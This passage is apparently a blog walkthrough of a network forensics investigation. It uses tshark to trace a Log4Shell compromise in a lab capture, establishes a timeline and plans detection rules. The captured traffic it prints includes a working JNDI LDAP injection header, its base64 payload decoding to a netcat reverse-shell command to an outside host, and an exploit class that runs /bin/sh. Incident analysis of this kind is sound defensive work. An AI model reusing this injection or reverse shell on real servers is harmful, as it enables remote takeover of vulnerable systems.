Frame 103 - 2021-12-20 14:00:58.960277 - Once again, our internal host communicating with our critical server on port 8080. Following the stream, we see.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60324,172.17.0.2:8080 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60324) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60324))
Node 0: 172.17.0.1:60324
Node 1: 172.17.0.2:8080
210
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
User-Agent: SecurityNik Testing


        127
HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Mon, 20 Dec 2021 19:00:58 GMT

Hello, world!
===================================================================

Decoding the base64 encoded content, we get:

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==" | base64 --decode
nc 192.168.56.102 80 -e /bin/sh -vvv

Now the flames are burning. Previously, we saw the "which nc" command executed, suggesting our threat actor was attempting to live off the land (LOL) by using native binaries. This base64 decoded content means the flames are burning hotter, suggesting that the threat actor might have gained shell via ncat. Interestingly also, we see the 192.168.56.102 which we have seen multiple times. However, when we looked previously for communication which was starting up, we did not see activity returning for port 80. This was the filter used previously.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more

I wonder what I missed. Good thing is, even if I missed, it, I still have that visibility by following an iterative process of going through each of the previously returned sessions, rather than simply glossing over them. Let's wrap up the final two records here so we can confirm or dwell time or the time to detect, assuming that it is the large transaction on port 80 that caused our concern.

Frame 108 - 2021-12-20 14:00:58.962074 - The LDAP lookup for the malicious content. When decoded, this returns the same output we saw that sets up netcat to connect to the remote host.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:36824,192.168.56.102:389 2>/dev/null | more

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 36824) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 389)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 389) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 36824))
Node 0: 172.17.0.2:36824
Node 1: 192.168.56.102:389
14
0....`........
        14
0....a.
......
142
0.....ci.IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
..
.............objectClass0...0...2.16.840.1.113730.3.4.2
        231
0.....d...IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==0..0..
        14
0....e.
......
36
0"...B...0...2.16.840.1.113730.3.4.2
===================================================================

Finally, in frame 121 - 2021-12-20 14:00:58.968858 - Like we have seen before on port 443, interesting strings such as "/bin/sh" and "exec" along with "nc 192.168.56.102 80 -e /bin/sh -vvv"

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51836,192.168.56.102:443 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51836) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51836))
Node 0: 172.17.0.2:51836
Node 1: 192.168.56.102:443
181
GET /Exploit6HHc3BcVzI.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


        78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 19:00:58 GMT
Content-length: 1236


        1236
.......2.=...Exploit6HHc3BcVzI.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>..%nc 192.168.56.102 80 -e /bin/
sh -vvv
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================

We have gone through all the initial connections reported so far prior to our compromise. Our conclusion, is using the Log4J vulnerability, a threat actor gained access to our critical server and used netcat to setup a reverse shell. While this is still a good assumption, we don't have any evidence so far to confirm this activity was successful. We saw the setup and that was it.

At this point we are 55 minutes into the time it took for this activity to occur, however, we have not seen where the netcat sesssion was setup. Let's write a new filter, focusing in tightly on the ncat connection setup.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y "(ip.src == 172.17.0.2) && (ip.dst == 192.168.56.102) && (tcp.dstport == 80) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)" 2>/dev/null 
  140 2021-12-20 14:00:58.987870   172.17.0.2 → 192.168.56.102 TCP 74 37957 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076527 TSecr=0 WS=128

Boom! We now see at the same time as we see in frame 121 above, that at 14:00 on December 20, 2021 a SYN connection was made to our suspicious external IP. Confirming the server actually responded with its SYN/ACK, to let our critical asset know it is available on port 443.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y "(ip.dst == 172.17.0.2) && (ip.src == 192.168.56.102) && (tcp.port == 80) && (tcp.flags.syn == 1) && (tcp.flags.ack == 1)" 2>/dev/null 
  141 2021-12-20 14:00:58.987882 192.168.56.102 → 172.17.0.2   TCP 74 80 → 37957 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=834678917 TSecr=2724076527 WS=128

At this point, we are in a much better position. Confirming the activity by following the stream. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z 'follow,tcp,ascii,172.17.0.2:37957,192.168.56.102:80' 2>/dev/null | more

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 37957) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 80)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 80) and (ip.dst eq 172.17.0.2 and tcp.dstpo
rt eq 37957))
Node 0: 172.17.0.2:37957
Node 1: 192.168.56.102:80
        3
ls
4
app

70
bin
dev
...

Good stuff! We can now confirm all the activities that occurred at the time of detecting the large set of bytes and ultimately necat. However, at this point, it would be foolish of us not to look to see if this activity is still ongoing. Let's run a query looking for time greater than our last record while focusing on the communication between our critical asset 172.17.0.2 and external IP address 192.168.56.102.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 192.168.56.102 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | wc --lines
11

Looks like we have 11 packets returned, with the last one being reported as 14:42. As we can see, it was important to look to the future and not just perform historical analysis. At this point, we know this activity initially started at 13:05 and at 14:42 it seems to have ended. This gives us a duration of about (97 minutes) or 1 hour 37 minutes.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 192.168.56.102 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more 
  641 2021-12-20 14:20:07.598696   172.17.0.2 → 192.168.56.102 TCP 74 36826 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725225138 TSecr=0 WS=128
 1103 2021-12-20 14:21:23.066028   172.17.0.2 → 192.168.56.102 TCP 74 36828 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725300605 TSecr=0 WS=128
 1565 2021-12-20 14:22:40.779018   172.17.0.2 → 192.168.56.102 TCP 74 36830 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725378318 TSecr=0 WS=128
 2031 2021-12-20 14:24:51.331840   172.17.0.2 → 192.168.56.102 TCP 74 36832 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725508871 TSecr=0 WS=128
 2499 2021-12-20 14:30:26.658084   172.17.0.2 → 192.168.56.102 TCP 74 36834 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725844197 TSecr=0 WS=128
 2968 2021-12-20 14:32:33.951680   172.17.0.2 → 192.168.56.102 TCP 74 36836 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725971491 TSecr=0 WS=128
 3432 2021-12-20 14:34:33.834198   172.17.0.2 → 192.168.56.102 TCP 74 36838 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726091373 TSecr=0 WS=128
 3896 2021-12-20 14:35:50.554228   172.17.0.2 → 192.168.56.102 TCP 74 36840 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726168094 TSecr=0 WS=128
 4813 2021-12-20 14:36:25.414098   172.17.0.2 → 192.168.56.102 TCP 74 36842 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726202953 TSecr=0 WS=128
 6607 2021-12-20 14:42:12.258490   172.17.0.2 → 192.168.56.102 TCP 74 36844 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726549798 TSecr=0 WS=128
 7070 2021-12-20 14:42:37.522055   172.17.0.2 → 192.168.56.102 TCP 74 36846 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726575061 TSecr=0 WS=128

Do remember, we also have an internal host at 172.17.0.1 communicating with our host at 172.17.0.2. It might be expected that these two hosts should communicate. However, it may also be a case of lateral movement and thus the threat actor using 172.17.0.1 as a jump off point. Let's see what we can find here.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 172.17.0.1 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | wc --lines
633

At first glance we have 633 SYN connections.

Getting some statistics on the connections, we see port 8080 has the most activity. with all the others ports just having 1 hit.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 172.17.0.1 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null -T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq --count | sort --numeric --reverse
    630 172.17.0.1      172.17.0.2      8080
      1 172.17.0.1      172.17.0.2      80
      1 172.17.0.1      172.17.0.2      443
      1 172.17.0.1      172.17.0.2      389

At this point, we can continue going through each of these sessions, starting with the three that have a value of 1 to learn what other activity was performed. Why start with the lowest ones? Well 1 is so far off from 630, that I would love to know what is in the unique sessions.

We won't do that in this post, as we already have done our analysis above and are comfortable with our detection and analysis thus far. At this point, we can leverage the actionable intelligence, as in the IoCs we got from this manual process to build automated detection via  Snort3 rules and Zeek scripts or signatures. Let's start with the Snort3 rules.


References: